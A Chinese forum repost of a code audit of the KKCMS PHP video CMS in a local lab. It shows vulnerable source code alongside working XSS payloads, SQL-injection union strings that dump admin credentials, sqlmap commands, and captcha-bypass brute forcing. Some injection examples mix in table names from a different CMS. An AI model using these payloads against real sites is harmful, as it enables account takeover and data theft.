安全矩阵

 找回密码
 立即注册
搜索
查看: 754|回复: 0

记一次较为详细的某CMS代码审计

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-8-19 11:03:46 | 显示全部楼层 |阅读模式
quan9i [url=]红队蓝军[/url] 2023-08-18 15:00 发表于四川
收录于合集
#web32个
#代码审计9个
前言
本次审计的话是Seay+昆仑镜进行漏洞扫描
Seay的话它可以很方便的查看各个文件,而昆仑镜可以很快且扫出更多的漏洞点,将这两者进行结合起来,就可以发挥更好的效果。
昆仑镜官方地址
https://github.com/LoRexxar/Kunlun-M
环境
KKCMS环境搭建

KKCMS链接如下
https://github.com/liumengxiang/kkcms
安装的话正常步骤就好,即
  1. 1、解压至phpstudy目录下
  2. 2、访问install
  3. 3、新建kkcms数据库,然后在安装的时候用这个数据库
  4. 4、安装完成,开始审计
复制代码


目录结构


常见的目录结构,简单了解一下其作用
  1. admin 后台管理目录
  2. css CSS样式表目录
  3. data 系统处理数据相关目录
  4. install 网页安装目录
  5. images 系统图片存放目录
  6. template 模板
  7. system  管理目录
复制代码

代码审计

对扫描出的开始进行审计
验证码重用

admin/cms_login.php
源码如下
  1. <?php
  2. require_once('../system/inc.php');
  3. if(isset($_POST['submit'])){
  4.     if ($_SESSION['verifycode'] != $_POST['verifycode']) {
  5.         alert_href('验证码错误','cms_login.php');
  6.     }
  7.     null_back($_POST['a_name'],'请输入用户名');
  8.     null_back($_POST['a_password'],'请输入密码');
  9.     null_back($_POST['verifycode'],'请输入验证码');
  10.     $a_name = $_POST['a_name'];
  11.     $a_password = $_POST['a_password'];
  12.     $sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';
  13.     $result = mysql_query($sql);
  14.     if(!! $row = mysql_fetch_array($result)){
  15.         setcookie('admin_name',$row['m_name']);
  16.         setcookie('admin_password',$row['m_password']);
  17.         header('location:cms_welcome.php');
  18.     }else{
  19.         alert_href('用户名或密码错误','cms_login.php');
  20.     }
  21. }
  22. ?>
复制代码


验证码的校验代码
  1.   if ($_SESSION['verifycode'] != $_POST['verifycode']) {
  2.         alert_href('验证码错误','cms_login.php');
  3.     }
复制代码


不难发现这里是将$_SESSION['verifycode']与POST上传的verifycode相比较,如果不相等就会刷新跳转,重新回到登录处,此时验证码也会被更新。我们进入前端界面看一下

发现验证码js对应处存在文件,跟进查看一下
  1. <?php
  2. session_start();
  3. $image = imagecreate(50, 34);
  4. $bcolor = imagecolorallocate($image, 0, 0, 0);
  5. $fcolor = imagecolorallocate($image, 255, 255, 255);
  6. $str = '0123456789';
  7. $rand_str = '';
  8. for ($i = 0; $i < 4; $i++){
  9. $k = mt_rand(1, strlen($str));
  10. $rand_str .= $str[$k - 1];
  11. }
  12. $_SESSION['verifycode'] = $rand_str;
  13. imagefill($image, 0, 0, $bcolor);
  14. imagestring($image, 7, 7, 10, $rand_str, $fcolor);
  15. header('content-type:image/png');
  16. imagepng($image);
  17. ?>
复制代码


该文件的含义是用0-9中的任意四个数字作为验证码,也就是说js引用该文件来产生验证码。这里学习过其他师傅的思路后,了解到
  1. Burpsuite默认不解析js
复制代码

因此我们这里就可以借助bp抓包,摒弃js,对用户名和密码进行爆破
抓包后发送到instruct模块,在密码处添加变量

而后添加一些常用的弱口令密码

开始爆破

成功爆破出密码

XSS

wap/shang.php
使用昆仑镜进行扫描,得到结果

结合Seay,查看该文件代码

可以看到直接输出了$_GET['fee'],因此我们这里直接传入一个xss语句尝试触发xss payload
  1. fee=<script>alert(1)</script>
复制代码

wap/seacher.php
昆仑镜扫描

利用seay查看源码
  1. //这只是一部分,具体的师傅们可自行查看此文件
  2. <?php include('../system/inc.php');
  3. include('../data/cxini.php');
  4. $link=$zwcx['zhanwai'];
  5. $q=$_POST['wd'];

  6. <!DOCTYPE html>
  7. <html>
  8. <head lang="en">
  9. <?php  include 'head.php';?>
  10. <title>搜索<?php echo $q?>-<?php echo $xtcms_seoname;?></title>
  11. <meta name="keywords" content="<?php echo $q?>,<?php echo $xtcms_keywords;?>">
  12. <meta name="description" content="<?php echo $xtcms_description;?>">
复制代码


可以发现这里这个变量$q直接被输出了,这个$q是POST上传的wd参数,因此我们这里POST上传wd参数,给它赋值一个xss语句的话,应该是可以进行XSS的,我们试着去构造一下
  1. wp=<script>alert(1)</script>
复制代码

成功触发XSS
wap/movie.php
  1. //部分源码
  2. <?php include('../system/inc.php');
  3. include '../system/list.php';
  4. $page=$_GET['page'];?>
  5. <!DOCTYPE html>
  6. <html>
  7. $b=(strpos($_GET['m'],'rank='));
  8. $ye=substr($_GET['m'],$b+5);
  9. ?>
  10. <a <?php if ($ye=="rankhot"){echo 'class="on"';}elseif($ye=="createtime" or $ye=="rankpoint"){}else{ echo 'class="on"';};?> href="?m=/dianying/list.php?rank=rankhot">最近热映</a>
  11. <a  <?php if ($ye=="createtime"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=createtime">最新上映</a>        
  12. <a  <?php if ($ye=="rankpoint"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=rankpoint">最受好评</a>
  13. </div>
  14. <?php echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?>
  15. </ul>
  16. </div>
  17. </div>
  18. </section>
  19. <?php  include 'footer.php';?>
复制代码

存在可控参数$_GET['m']和$_GET['page'],开头引用了inc.php,试着找一下输出语句。发现输出语句
  1. <?php echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?>
复制代码

发现被函数getPageHtml包裹了,跟进查看
  1. function getPageHtml($_var_60, $_var_61, $_var_62)
  2. {
  3. $_var_63 = 5;
  4. $_var_60 = $_var_60 < 1 ? 1 : $_var_60;
  5. $_var_60 = $_var_60 > $_var_61 ? $_var_61 : $_var_60;
  6. $_var_61 = $_var_61 < $_var_60 ? $_var_60 : $_var_61;
  7. $_var_64 = $_var_60 - floor($_var_63 / 2);
  8. $_var_64 = $_var_64 < 1 ? 1 : $_var_64;
  9. $_var_65 = $_var_60 + floor($_var_63 / 2);
  10. $_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
  11. $_var_66 = $_var_65 - $_var_64 + 1;
  12. if ($_var_66 < $_var_63 && $_var_64 > 1) {
  13.   $_var_64 = $_var_64 - ($_var_63 - $_var_66);
  14.   $_var_64 = $_var_64 < 1 ? 1 : $_var_64;
  15.   $_var_66 = $_var_65 - $_var_64 + 1;
  16. }
  17. if ($_var_66 < $_var_63 && $_var_65 < $_var_61) {
  18.   $_var_65 = $_var_65 + ($_var_63 - $_var_66);
  19.   $_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
  20. }
  21. if ($_var_60 > 1) {
  22.   $_var_67 .= '<li><a  title="上一页" href="' . $_var_62 . ($_var_60 - 1) . '"">上一页</a></li>';
  23. }
  24. for ($_var_68 = $_var_64; $_var_68 <= $_var_65; $_var_68++) {
  25.   if ($_var_68 == $_var_60) {
  26.    $_var_67 .= '<li><a style="background:#FF9900;"><font color="#fff">' . $_var_68 . '</font></a></li>';
  27.   } else {
  28.    $_var_67 .= '<li><a href="' . $_var_62 . $_var_68 . '">' . $_var_68 . '</a></li>';
  29.   }
  30. }
  31. if ($_var_60 < $_var_65) {
  32.   $_var_67 .= '<li><a  title="下一页" href="' . $_var_62 . ($_var_60 + 1) . '"">下一页</a></li>';
  33. }
  34. return $_var_67;
  35. }
复制代码


跟进查看后也没有发现输出点,结果网页端js代码再看看 传参
  1. http://127.0.0.1:8080/kkcms-kkcms/wap/movie.php?m=111
复制代码

查看源代码,Ctrl+f搜?m=111查找对应js代码

找到js代码
  1. <li><a href="movie.php?m=111&page=4">4</a></li><li><a href="movie.php?m=111&page=5">5</a></li><li><a  title="下一页" href="movie.php?m=111&page=2"">下一页</a></li></ul>
复制代码


尝试直接闭合a标签执行xss语句,构造payload如下
  1. ?m="><script>alert(111)</script>
复制代码


成功触发xss
同类XSS文件如下
  1. wap/tv.php
  2. 其对应输出代码如下
  3. <?php echo getPageHtml($page,$fenye,'tv.php?m='.$yourneed.'&page=');?>

  4. wap/zongyi.php
  5. 其对应输出代码如下
  6. <?php echo getPageHtml($page,$fenye,'zongyi.php?m='.$yourneed.'&page=');?>

  7. wap/dongman.php
  8. 其对应输出代码如下
  9. <?php echo getPageHtml($page,$fenye,'dongman.php?m='.$yourneed.'&page=');?>
复制代码

system/pcon.php(失败)
发现这里有个echo 变量的,利用Seay跟进一下这个文件
  1. <?php
  2. if ($xtcms_pc==1){
  3. ?>

  4. <script>
  5. function uaredirect(f){try{if(document.getElementById("bdmark")!=null){return}var b=false;if(arguments[1]){var e=window.location.host;var a=window.location.href;if(isSubdomain(arguments[1],e)==1){f=f+"/#m/"+a;b=true}else{if(isSubdomain(arguments[1],e)==2){f=f+"/#m/"+a;b=true}else{f=a;b=false}}}else{b=true}if(b){var c=window.location.hash;if(!c.match("fromapp")){if((navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i))){location.replace(f)}}}}catch(d){}}function isSubdomain(c,d){this.getdomain=function(f){var e=f.indexOf("://");if(e>0){var h=f.substr(e+3)}else{var h=f}var g=/^www\./;if(g.test(h)){h=h.substr(4)}return h};if(c==d){return 1}else{var c=this.getdomain(c);var b=this.getdomain(d);if(c==b){return 1}else{c=c.replace(".","\\.");var a=new RegExp("\\."+c+"$");if(b.match(a)){return 2}else{return 0}}}};
  6. </script>
  7. <?php
  8. if ($_GET['play']!=""){
  9. $cc="play.php?play=";
  10. $dd="bplay.php?play=";
  11. $yugao=explode('.html',$_GET['play']);
  12. for($k=0;$k<count($yugao);$k++){
  13. if ($k>0){
  14. $tiaourl=$cc.$_GET['play'];
  15.   }
  16. else{
  17. $tiaourl=$dd.$_GET['play'];
  18.   }
  19. }
  20. }
  21. ?>
  22. <script type="text/javascript">uaredirect("<?php echo $xtcms_domain;?>wap/<?php echo $tiaourl;?>");</script>
  23. <?php  } ?>
复制代码

此时发现可控变量play,如果让他变为xss恶意语句,就可能会实现xss,但我们这个时候看一下最上面,发现有一个if语句
  1. if ($xtcms_pc==1){
复制代码

它这个条件为true后执行的语句,不仔细看的话甚至都找不到结尾处在哪,经过仔细查看后发现在最后

这里的话也就是说,我们只有满足了$xtcms_pc==1这个条件,才能够成功的往下执行,进而利用play参数构造xss语句,因此我们此时就需要跟进这个$xtcms_pc变量,全局搜索一下

发现变量赋值点,跟进查看

简单看一下这里的代码,发现这个结果是从SQL查询处的结果取出的,而SQL语句不存在变量,因此这里的话我们是不可控的,所以这里的话应该是不存在XSS的,G
admin/cms_ad.php
登录后台后发现有个广告管理界面

发现这里可以设置名称和广告内容,尝试在名称处插入xss语句

发现此时成功触发了xss语句,那么这里的话应该是直接将广告名称进行了输出,我们查看后端代码,验证一下
  1. <?php
  2. include('../system/inc.php');
  3. include('cms_check.php');
  4. error_reporting(0);
  5. include('model/ad.php');
  6. ?>
  7. <?php include('inc_header.php') ?>
  8. <div class="tab-pane1">
  9. <div class="row">
  10. <div class="col-sm-12">
  11. <div class="form-group has-feedback">
  12. <label for="name-w1">名称</label>
  13. <input id="l_name" class="form-control" name="title" type="text" size="60" data-validate="required:请填写广告名称" value="" />
  14. <span class="help-block">请输入广告名称</span>
  15. </div>
  16. </div>
  17. </div>
  18. <div class="row">
  19. <div class="col-sm-12">
  20. <div class="form-group">
  21. <label for="ccnumber-w1">内容</label>
  22. <textarea id="l_picture" class="form-control" name="pic" /></textarea>
  23. <span class="help-block">请输入广告的内容<a href="网址" target="_blank"><img src="图片地址" style="width:100%"></a></span>
  24. </div>
  25. </div>
  26. </div>
  27. <div class="row">
  28. <div class="form-group col-sm-12">
  29. <label for="ccmonth-w1">广告位置</label>
  30. <select id="catid" class="form-control" name="catid">
  31. <?php
  32. $result = mysql_query('select * from xtcms_adclass');
  33. while($row1 = mysql_fetch_array($result)){
  34. ?>
  35. <option value="<?php echo $row1['id']?>"><?php echo $row1['name']?></option>
  36. <?php
  37. }
  38. ?>
复制代码


后端名称处代码为
  1. <input id="l_name" class="form-control" name="title" type="text" size="60" data-validate="required:请填写广告名称" value="" />
复制代码


可以发现这里只是限制了长度为60,其他没有什么限制,输出广告内容的代码是
  1. $result = mysql_query('select * from xtcms_ad order by id desc');
  2. while($row = mysql_fetch_array($result)){
  3. ?><tr>
  4. <td><?php echo $row['id']?></td>
  5. <td><?php echo $row['title']?></td>
复制代码

这里的话是取出结果,然后将结果赋值给$row,最后输出了$row['id']和$row['name'],正如同所说的一样,不存在过滤点,因而导致了XSS的出现
而你此时大概看一下代码的话,它的内容也是如此,内容是在加载页面的时候出现的,这个时候我们可以用img来构造一个xss恶意语句

此时随便访问首页的一个视频

成功触发XSS
youlian.php
  1. <?php
  2. include('system/inc.php');
  3. if(isset($_POST['submit'])){
  4. null_back('admin','.');
  5. null_back($_POST['content'],'你的链接及网站名');
  6. $data['userid'] = $_POST['userid'];
  7. $data['content'] =addslashes($_POST['content']);
  8. $data['time'] =date('y-m-d h:i:s',time());

  9. $str = arrtoinsert($data);
  10.   $sql = 'insert into xtcms_youlian ('.$str[0].') values ('.$str[1].')';
复制代码

设置了addslashes函数防止SQL注入,但并未防止XSS,我们构造payload如下
  1. <a href=Javascript:alert(1)>xss</a>
复制代码

后端查看就会发现

XSS被触发
admin/cms_kamilist.php
  1. //部分源码
  2. <?php
  3. include('../system/inc.php');
  4. include('cms_check.php');
  5. error_reporting(0);

  6. ?>
  7. <?php include('inc_header.php') ?>
  8. <select class="form-control" onchange="location.href='cms_kamilist.php?c_used='+this.options[this.selectedIndex].value;">
  9. <option value="">使用情况</option>
  10. <option value="1" >已使用</option> <option value="0">未使用</option>      </select>
  11. <input id="c_pass" class="form-control" type="text" name="c_number" placeholder="卡密"/>
  12. <input id="id" class="input" type="hidden" name="id" value="<?php echo $_GET["id"] ?>"/>
  13. <input type="submit" id="search" class="btn btn-info" name="search" value="查找" />
  14. <a class="btn btn-info" href="cms_dao.php<?php if (isset($_GET['id'])) { echo '?cpass='.$_GET["id"];}?>"><span class="icon-plus-square">导出</span></a>
  15. </div>
复制代码


关注
  1. value="<?php echo $_GET["id"] ?>"
复制代码

发现这里参数id没有什么防护,虽然开头涉及了inc.php,但那个是防护SQL注入的,不影响xss。我们这里如果能够闭合语句的话,似乎就可以触发XSS了。payload
  1. id="><script>alert(1)</script>
  2. //此时的语句就是 value="<?php echo "><script>alert(1)</script> ?>"
复制代码

结果如下
wx_api.php
  1. class wechatCallbackapiTest
  2. {
  3. public function valid()
  4.     {
  5.         $echoStr = $_GET["echostr"];
  6.         if($this->checkSignature()){
  7.          echo $echoStr;
  8.          exit;
  9.         }
  10.     }
复制代码

可以发现这里的参$_GET['echostr']不存在防护,在传入后经过一个if语句直接进行了输出,我们跟进一下这个if语句了的checkSignature函数查看一下
  1. private function checkSignature()
  2. {
  3.         // you must define TOKEN by yourself
  4.         if (!defined("TOKEN")) {
  5.             throw new Exception('TOKEN is not defined!');
  6.         }
  7.         
  8.         $signature = $_GET["signature"];
  9.         $timestamp = $_GET["timestamp"];
  10.         $nonce = $_GET["nonce"];
  11.          
  12.   $token = TOKEN;
  13.   $tmpArr = array($token, $timestamp, $nonce);
  14.         // use SORT_STRING rule
  15.   sort($tmpArr, SORT_STRING);
  16.   $tmpStr = implode( $tmpArr );
  17.   $tmpStr = sha1( $tmpStr );
  18.   
  19.   if( $tmpStr == $signature ){
  20.    return true;
  21.   }else{
  22.    return false;
  23.   }
  24. }
复制代码

发现这里大概是个检验token的,传个空对应的md5值应该就可以,尝试xss payload
  1. ?echostr=<script>alert('别当舔狗')</script>&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709
复制代码

SQL

bplay.php
  1. <?php
  2. include('system/inc.php');//载入全局配置文件
  3. error_reporting(0);//关闭错误报告
  4. $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');
  5. if (!!$row = mysql_fetch_array($result)) {
  6. $d_id = $row['d_id'];
  7. $d_name = $row['d_name'];
  8. $d_jifen = $row['d_jifen'];
  9. $d_user = $row['d_user'];
  10. $d_parent = $row['d_parent'];
  11. $d_picture = $row['d_picture'];
  12. $d_content = $row['d_content'];
  13. $d_scontent = $row['d_scontent'];
  14. $d_seoname = $row['d_seoname'];
  15. $d_keywords = $row['d_keywords'];
  16. $d_description = $row['d_description'];
  17. $d_player = $row['d_player'];
  18. $d_title = ($d_seoname == '') ? $d_name .' - '.$xtcms_name : $d_seoname.' - '.$d_name.' - '.$xtcms_name ;
  19. } else {
  20. die ('您访问的详情不存在');
  21. }
  22. $result1 = mysql_query('select * from xtcms_vod_class where c_id='.$d_parent.' order by c_id asc');
  23. while ($row1 = mysql_fetch_array($result1)){
  24. $c_hide=$row1['c_hide'];
  25. }
  26. if($c_hide>0){
  27. if(!isset($_SESSION['user_name'])){
  28.   alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
  29. };
  30.     $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
  31.      if($row = mysql_fetch_array($result)){
  32.   $u_group=$row['u_group'];//到期时间
  33.      }
  34. if($u_group<=1){//如果会员组
  35. alert_href('对不起,您不能观看会员视频,请升级会员!',''.$xtcms_domain.'ucenter/mingxi.php');
  36. }
  37. }
  38. include('system/shoufei.php');
  39. if($d_jifen>0){//积分大于0,普通会员收费
  40. if(!isset($_SESSION['user_name'])){
  41.   alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
  42. };
  43.     $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
  44.      if($row = mysql_fetch_array($result)){
  45.      $u_points=$row['u_points'];//会员积分
  46.      $u_plays=$row['u_plays'];//会员观看记录
  47.      $u_end=$row['u_end'];//到期时间
  48.   $u_group=$row['u_group'];//到期时间
  49.      }

  50.       if($u_group<=1){//如果会员组
  51.      if($d_jifen>$u_points){
  52.   alert_href('对不起,您的积分不够,无法观看收费数据,请推荐本站给您的好友、赚取更多积分',''.$xtcms_domain.'ucenter/yaoqing.php');
  53.     }  else{

  54.     if (strpos(",".$u_plays,$d_id) > 0){

  55. }
  56. //有观看记录不扣点
  57. else{

  58.    $uplays = ",".$u_plays.$d_id;
  59.    $uplays = str_replace(",,",",",$uplays);
  60.    $_data['u_points'] =$u_points-$d_jifen;
  61.    $_data['u_plays'] =$uplays;
  62.    $sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$_SESSION['user_name'].'"';
  63. if (mysql_query($sql)) {

  64. alert_href('您成功支付'.$d_jifen.'积分,请重新打开视频观看!',''.$xtcms_domain.'bplay.php?play='.$d_id.'');
  65. }
  66. }

  67. }
  68. }
  69. }
  70. if($d_user>0){
  71. if(!isset($_SESSION['user_name'])){
  72.   alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
  73. };
  74.     $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
  75.      if($row = mysql_fetch_array($result)){
  76.      $u_points=$row['u_points'];//会员积分
  77.      $u_plays=$row['u_plays'];//会员观看记录
  78.      $u_end=$row['u_end'];//到期时间
  79.   $u_group=$row['u_group'];//到期时间
  80.      }   
  81. if($u_group<$d_user){
  82. alert_href('您的会员组不支持观看此视频!',''.$xtcms_domain.'ucenter/mingxi.php');
  83. }
  84. }
  85. function get_play($t0){
  86. $result = mysql_query('select * from xtcms_player where id ='.$t0.'');
  87. if (!!$row = mysql_fetch_array($result)){
  88. return $row['n_url'];
  89. }else{
  90.   return $t0;
  91. };
  92. }
  93. $result = mysql_query('select * from xtcms_vod where d_id ='.$d_id.'');
  94. if (!!$row = mysql_fetch_array($result)){
  95. $d_scontent=explode("\r\n",$row['d_scontent']);
  96. //print_r($d_scontent);
  97. for($i=0;$i<count($d_scontent);$i++)
  98. { $d_scontent[$i]=explode('
  99. [align=left]这里的话可以看出主要的SQL语句是这句话[/align][code]$result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');
复制代码

然后这个play参数是GET传参的,同时看这里的代码可以看出它是没有单引号或者双引号包裹的,此时我们跟进一下include的文件,也就是system/inc.php,查看一下这个文件file:///C:/Users/zz/AppData/Local/Temp/msohtmlclip1/01/clip_image051.png
跟进这个library.php
  1. <?php
  2. //展示的只是一部分
  3. if (!defined('PCFINAL')) {
  4. exit('Request Error!');
  5. }
  6. if (!get_magic_quotes_gpc()) {
  7. if (!empty($_GET)) {
  8.   $_GET = addslashes_deep($_GET);
  9. }
  10. if (!empty($_POST)) {
  11.   $_POST = addslashes_deep($_POST);
  12. }
  13. $_COOKIE = addslashes_deep($_COOKIE);
  14. $_REQUEST = addslashes_deep($_REQUEST);
  15. }
复制代码

可以发现这里的话对传入的参数都进行了特殊字符转义,防止SQL注入
但事实上我们那个参数未被单引号或者双引号包裹,这也就意味着这里的防护其实是无意义的,因此我们这里的话我们也就可以尝试去进行SQL注入
首先我们试着去检测一下字段数,payload如下所示
  1. play=1 order by 17  //回显正常
  2. play=1 order by 18  //回显错误
复制代码



这里的话也就可以发现字段数为17了,接下来就可以进去联合查询了,首先我们需要去找一下回显位
  1. play=-1 union select 1,2,3,0,0,6,7,8,9,10,11,12,13,14,15,16,17
复制代码

可以发现回显位是2和9,我们这个时候就可以去读取数据库、数据表这些了,payload如下
  1. //查库
  2. play=-1 union select 1,2,3,0,0,6,7,8,database(),10,11,12,13,14,15,16, 17
  3. //查表
  4. play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(table_name) from information_schema.tables where table_schema=database()),10,11,12,13,14,15,16, 17
  5. //查列
  6. play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(column_name) from information_schema.columns where table_name=0x626565735f61646d696e),10,11,12,13,14,15,16, 17//之所以用十六进制是因为这里的单引号会被转义
  7. //查字段
  8. play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(admin_name,0x7e,admin_password) from bees_admin),10,11,12,13,14,15,16, 17
复制代码




wap/user.php(失败)
结合Seay
  1. <?php include('../system/inc.php');
  2. error_reporting(0);
  3. $op=$_GET['op'];
  4. if(!isset($_SESSION['user_name'])){
  5.   alert_href('请登陆后进入','login.php?op=login');
  6. };
  7. //退出
  8. if ($op == 'out'){
  9. unset($_SESSION['user_name']);
  10. unset($_SESSION['user_group']);
  11. if (! empty ( $_COOKIE ['user_name'] ) || ! empty ( $_COOKIE ['user_password'] ))   
  12.     {  
  13.         setcookie ( "user_name", null, time () - 3600 * 24 * 365 );  
  14.         setcookie ( "user_password", null, time () - 3600 * 24 * 365 );  
  15.     }  
  16. header('location:login.php?op=login');
  17. }
  18. //支付
  19. if ( isset($_POST['paysave']) ) {
  20. if ($_POST['pay']==1){

  21. //判定会员组别
  22. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
  23. if($row = mysql_fetch_array($result)){

  24. $u_points=$row['u_points'];
  25. $u_group=$row['u_group'];
  26. $send = $row['u_end'];

  27. //获取会员卡信息
  28. $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
  29. if($row2 = mysql_fetch_array($card)){
  30. $day=$row2['day'];//天数
  31. $userid=$row2['userid'];//会员组
  32. $jifen=$row2['jifen'];//积分
  33. }
  34. //判定会员组
  35. if ($row['u_group']>$userid){
  36. alert_href('您现在所属会员组的权限制大于等于目标会员组权限值,不需要升级!','mingxi.php');
  37. }
复制代码

看这一处代码
  1. $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
复制代码

不难发现这里的Select语句中的参数被双引号包裹了,而开头包含了inc.php文件,之前就已经查看过,这个文件包含了四个文件,其中一个文件中有addslashes_deep函数,对传入的参数中的特殊字符(如',",\)进行了转义,因此我们这里的话无法通过闭合双引号达到SQL注入的目的,同文件的其他SQL注入处也是如此,这里不再展示
wap/login.php
扫出login.php中存在多个可控变量,我们使用Seay来看一下具体代码
  1. //展示的仅为一部分
  2. <?php include('../system/inc.php');
  3. $op=$_GET['op'];

  4. if(isset($_POST['submit'])){
  5. null_back($_POST['u_name'],'请输入用户名');
  6. null_back($_POST['u_password'],'请输入密码');
  7. $u_name = $_POST['u_name'];
  8. $u_password = $_POST['u_password'];
  9. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
  10. $result = mysql_query($sql);
  11. if(!! $row = mysql_fetch_array($result)){
  12.   
  13. $_data['u_loginnum'] = $row['u_loginnum']+1;
  14. $_data['u_loginip'] =$_SERVER["REMOTE_ADDR"];
  15. $_data['u_logintime'] =date('y-m-d h:i:s',time());
  16. if(!empty($row['u_end'])) $u_end= $row['u_end'];
  17. if(time()>$u_end){
  18. $_data['u_flag'] =="0";
  19. $_data['u_start'] =="";
  20. $_data['u_end'] =="";
  21. $_data['u_group'] =1;
  22. }else{
  23. $_data['u_flag'] ==$row["u_flag"];
  24. $_data['u_start'] ==$row["u_start"];
  25. $_data['u_end'] ==$row["u_end"];
  26. $_data['u_group'] =$row["u_group"];
  27. }
  28. mysql_query('update xtcms_user set '.arrtoupdate($_data).' where u_id ="'.$row['u_id'].'"');
  29. $_SESSION['user_name']=$row['u_name'];
  30. $_SESSION['user_group']=$row['u_group'];
  31. if($_POST['brand1']){
  32. setcookie('user_name',$row['u_name'],time()+3600 * 24 * 365);
  33. setcookie('user_password',$row['u_password'],time()+3600 * 24 * 365);
  34. }
  35.   header('location:user.php');
  36. }else{
  37.   alert_href('用户名或密码错误或者尚未激活','login.php?op=login');
  38. }
  39. }
  40. if(isset($_POST['reg'])){
  41. $username = stripslashes(trim($_POST['name']));
  42. // 检测用户名是否存在
  43. $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
  44. if(mysql_fetch_array($query)){
  45. echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';
  46. exit;
  47. }
  48. $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
  49. if(mysql_fetch_array($result)){
  50. echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>';
  51. exit;
  52. }
  53. $password = md5(trim($_POST['password']));
  54. $email = trim($_POST['email']);
  55. $regtime = time();
  56. $token = md5($username.$password.$regtime); //创建用于激活识别码
  57. $token_exptime = time()+60*60*24;//过期时间为24小时后
  58. $data['u_name'] = $username;
  59. $data['u_password'] =$password;
  60. $data['u_email'] = $email;
  61. $data['u_regtime'] =$regtime;
  62. if($xtcms_mail==1){
  63. $data['u_status'] =0;
  64. }else{
  65. $data['u_status'] =1;
  66. }
  67. $data['u_group'] =1;
  68. $data['u_fav'] =0;
  69. $data['u_plays'] =0;
  70. $data['u_downs'] =0;
  71. //推广注册
  72. if (isset($_GET['tg'])) {
  73. $data['u_qid'] =$_GET['tg'];
  74. $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
  75. if($row = mysql_fetch_array($result)){

  76. $u_points=$row['u_points'];
  77. }
复制代码

不难发现这里的SELECT语句有以下几个
  1. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
  2. $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
  3. $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
  4. $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
复制代码


但文件开头就声明包含了inc.php文件,说明这里的话包含了过滤函数,也就是对SQL注入是有防护的,对'、"以及\都进行了转义,因此这里如果参数是被单引号或者双引号包裹的话,那么这里极有可能算是G了,我们看第一个,也就是
  1. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
复制代码

它这个不难发现,$u_name和$u_password都被双引号包裹了,因此这里就不存在SQL注入了。但是看一下第二个,第二个的username参数虽然是被双引号进行包裹了,但你会发现这个参数的传值方式是$username = stripslashes(trim($_POST['name']));,这个stripslashes的功能是消除由addslashes函数增加的反斜杠,一个增加一个消除,那这里不就跟没有设置过滤一样吗,因此这个name参数是存在SQL注入的,我们通过BurpSuite进行抓包

然后将内容复制到一个txt文件中

我这里保存在sqlmap目录下

而后打开sqlmap,输入如下payload即可
  1. python sqlmap.py "D:/sqlmap/2.txt" --dbs --batch
复制代码

可以看到存在延时注入,成功爆破出数据库
vlist.php
在这个界面,用单引号测试一下发现跟正常界面有所不同

看一下后端代码
  1. <?php
  2. if ($_GET['cid'] != 0){
  3. ?>
  4.       
  5.              <?php
  6. $result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
  7. while ($row = mysql_fetch_array($result)){

  8.    echo '<a href="./vlist.php?cid='.$row['c_id'].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">'.$row['c_name'].'</a>';
  9.   }
  10. ?>
复制代码

这里简单看一下的话,不难发现这里的参数cid是不存在任何防护的,即没有被单引号或者双引号包裹,因此这里开头引用的inc.php虽然对SQL注入进行了防护,但在这里其实是没有意义的,用SQLmap跑一下
  1. python sqlmap.py -u http://127.0.0.1:8080/kkcms-kkcms/vlist.php?cid=1 --dbs --batch
复制代码

后端文件
扫出多个后端文件存在SQL注入,接下来逐一进行检测
admin/cms_admin_edit.php
源码如下
  1. //部分代码
  2. <?php
  3. include('../system/inc.php');
  4. include('cms_check.php');
  5. error_reporting(0);
  6. include('model/admin_edit.php');
  7. ?>
  8. <?php
  9. $result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
  10. if($row = mysql_fetch_array($result)){
  11. ?>
复制代码

这里的话重点关注肯定是SQL语句,也就是这句话
  1. $result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
复制代码

